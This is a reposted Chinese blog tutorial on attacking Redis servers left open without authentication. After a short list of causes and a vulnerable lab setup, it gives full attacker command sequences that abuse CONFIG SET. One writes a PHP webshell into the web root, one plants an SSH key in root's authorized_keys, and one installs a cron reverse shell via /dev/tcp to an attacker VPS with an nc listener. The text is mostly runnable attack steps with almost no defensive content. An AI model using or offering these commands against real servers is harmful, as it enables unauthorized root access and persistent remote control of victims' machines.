redis未授权访问
Posted 冬泳怪鸽
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了redis未授权访问相关的知识,希望对你有一定的参考价值。
1. 漏洞的原因
开启远程连接,允许其他ip访问;
关闭保护模式;
没有设置密码。
2.环境的配置
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
当前目录:redis-2.8.17,首先vi redis.conf,
bind 127.0.0.1(前边加#)
protected-mode no
6.运行
./src/redis-server redis.conf
这是靶机的配置
在攻击方机器,安装并运行redis,推荐直接apt安装,最新版本即可。
3.连接
攻击方:
redis-cli -h ip(靶机)
4. webshell
这种情况可以用在权限较低的情况下
攻击方连接成功后
config set dir /var/www/html/ config set dbfilename shell.php set x "<?php phpinfo();?>" save
在web目录下出现shell,菜刀连接
5.ssh免密码登陆
cd ~/.ssh
ssh-keygen -t rsa
复制下 id_rsa.pub
redis-cli -h ip
config set dir /root/.ssh/ config set dbfilename authorized_keys set x " ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali "(注意公钥左右有 ,还有用户名也要复制,总之是id_rsa.pub的全部内容) save
最后 ssh -i id_rsa root@ip(靶机ip)
6.交互式shell
1.在自己的服务器上监听一个端口,一会反弹到这里来#
nc -lvnp 7999
2.攻击方 redis-cli -h ip
set x "
* * * * * bash -i >& /dev/tcp/ip(vps)/7999 0>&1
"
config set dir /var/spool/cron/
config set dbfilename root
save
以上是关于redis未授权访问的主要内容,如果未能解决你的问题,请参考以下文章